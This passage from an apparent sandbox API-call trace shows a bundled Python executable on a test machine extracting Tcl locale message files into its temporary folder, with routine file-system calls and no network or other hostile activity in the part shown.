lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.978] GetFileType (hFile=0x10c) returned 0x1 [0036.978] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.978] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.978] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.978] CloseHandle (hObject=0x10c) returned 1 [0036.978] GetLastError () returned 0x0 [0036.978] SetLastError (dwErrCode=0x0) [0036.978] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0036.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.978] GetFileType (hFile=0x10c) returned 0x1 [0036.978] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.978] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.979] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.979] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.979] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.979] CloseHandle (hObject=0x10c) returned 1 [0036.979] GetLastError () returned 0x0 [0036.979] SetLastError (dwErrCode=0x0) [0036.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_jo.msg") returned 64 [0036.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_jo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar_jo.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.979] GetLastError () returned 0x2 [0036.979] SetLastError (dwErrCode=0x2) [0036.979] GetLastError () returned 0x2 [0036.979] SetLastError (dwErrCode=0x2) [0036.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_jo.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_jo.msg", lpFilePart=0x0) returned 0x3f [0036.979] GetLastError () returned 0x2 [0036.979] SetLastError (dwErrCode=0x2) [0036.979] GetLastError () returned 0x2 [0036.979] SetLastError (dwErrCode=0x2) [0036.979] GetLastError () returned 0x2 [0036.979] SetLastError (dwErrCode=0x2) [0036.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_jo.msg") returned 64 [0036.979] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_jo.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar_jo.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.980] GetFileType (hFile=0x10c) returned 0x1 [0036.980] htonl (hostlong=0x14070000) returned 0x714 [0036.980] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.980] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x714, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x714, lpOverlapped=0x0) returned 1 [0036.981] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.981] CloseHandle (hObject=0x10c) returned 1 [0036.982] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.982] htonl (hostlong=0x30000000) returned 0x30 [0036.982] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.982] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.982] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.982] GetFileType (hFile=0x10c) returned 0x1 [0036.982] htonl (hostlong=0x3e2d5700) returned 0x572d3e [0036.982] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bdd3e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.982] htonl (hostlong=0x50010000) returned 0x150 [0036.982] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x150) returned 0x550600 [0036.982] htonl (hostlong=0x50010000) returned 0x150 [0036.982] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.982] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.982] htonl (hostlong=0x14070000) returned 0x714 [0036.982] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x714) returned 0x55e278 [0036.982] htonl (hostlong=0x50010000) returned 0x150 [0036.982] htonl (hostlong=0x14070000) returned 0x714 [0036.982] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.982] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.982] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.982] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.982] CloseHandle (hObject=0x10c) returned 1 [0036.982] GetLastError () returned 0x0 [0036.982] SetLastError (dwErrCode=0x0) [0036.982] GetLastError () returned 0x0 [0036.983] SetLastError (dwErrCode=0x0) [0036.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.983] GetFileType (hFile=0x10c) returned 0x1 [0036.983] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.983] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.983] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.983] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.983] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.983] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.983] CloseHandle (hObject=0x10c) returned 1 [0036.983] GetLastError () returned 0x0 [0036.983] SetLastError (dwErrCode=0x0) [0036.983] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0036.983] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.983] GetFileType (hFile=0x10c) returned 0x1 [0036.983] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.983] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.983] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.983] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.983] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.984] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.984] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.984] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.984] CloseHandle (hObject=0x10c) returned 1 [0036.984] GetLastError () returned 0x0 [0036.984] SetLastError (dwErrCode=0x0) [0036.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_lb.msg") returned 64 [0036.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_lb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar_lb.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.984] GetLastError () returned 0x2 [0036.984] SetLastError (dwErrCode=0x2) [0036.984] GetLastError () returned 0x2 [0036.984] SetLastError (dwErrCode=0x2) [0036.984] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_lb.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_lb.msg", lpFilePart=0x0) returned 0x3f [0036.984] GetLastError () returned 0x2 [0036.984] SetLastError (dwErrCode=0x2) [0036.984] GetLastError () returned 0x2 [0036.984] SetLastError (dwErrCode=0x2) [0036.984] GetLastError () returned 0x2 [0036.984] SetLastError (dwErrCode=0x2) [0036.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_lb.msg") returned 64 [0036.984] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.984] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_lb.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar_lb.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.985] GetFileType (hFile=0x10c) returned 0x1 [0036.985] htonl (hostlong=0x14070000) returned 0x714 [0036.985] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.985] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x714, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x714, lpOverlapped=0x0) returned 1 [0036.986] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.986] CloseHandle (hObject=0x10c) returned 1 [0036.987] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.987] htonl (hostlong=0x30000000) returned 0x30 [0036.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.987] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.987] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.987] GetFileType (hFile=0x10c) returned 0x1 [0036.987] htonl (hostlong=0x8e2e5700) returned 0x572e8e [0036.987] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bde8e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.987] htonl (hostlong=0x55010000) returned 0x155 [0036.987] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x155) returned 0x550600 [0036.988] htonl (hostlong=0x55010000) returned 0x155 [0036.988] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.988] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.988] htonl (hostlong=0x14070000) returned 0x714 [0036.988] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x714) returned 0x55e278 [0036.988] htonl (hostlong=0x55010000) returned 0x155 [0036.988] htonl (hostlong=0x14070000) returned 0x714 [0036.988] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.988] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.988] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.988] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.988] CloseHandle (hObject=0x10c) returned 1 [0036.988] GetLastError () returned 0x0 [0036.988] SetLastError (dwErrCode=0x0) [0036.988] GetLastError () returned 0x0 [0036.988] SetLastError (dwErrCode=0x0) [0036.988] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.988] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.988] GetFileType (hFile=0x10c) returned 0x1 [0036.988] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.988] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.988] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.988] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.988] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.988] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.988] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.989] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.989] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.989] CloseHandle (hObject=0x10c) returned 1 [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0036.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.989] GetFileType (hFile=0x10c) returned 0x1 [0036.989] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.989] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.989] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.989] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.989] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.989] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.989] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.989] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.989] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.989] CloseHandle (hObject=0x10c) returned 1 [0036.989] GetLastError () returned 0x0 [0036.989] SetLastError (dwErrCode=0x0) [0036.989] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_sy.msg") returned 64 [0036.989] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_sy.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\ar_sy.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.989] GetLastError () returned 0x2 [0036.990] SetLastError (dwErrCode=0x2) [0036.990] GetLastError () returned 0x2 [0036.990] SetLastError (dwErrCode=0x2) [0036.990] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_sy.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_sy.msg", lpFilePart=0x0) returned 0x3f [0036.990] GetLastError () returned 0x2 [0036.990] SetLastError (dwErrCode=0x2) [0036.990] GetLastError () returned 0x2 [0036.990] SetLastError (dwErrCode=0x2) [0036.990] GetLastError () returned 0x2 [0036.990] SetLastError (dwErrCode=0x2) [0036.990] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\ar_sy.msg") returned 64 [0036.990] MultiByteToWideChar (in: 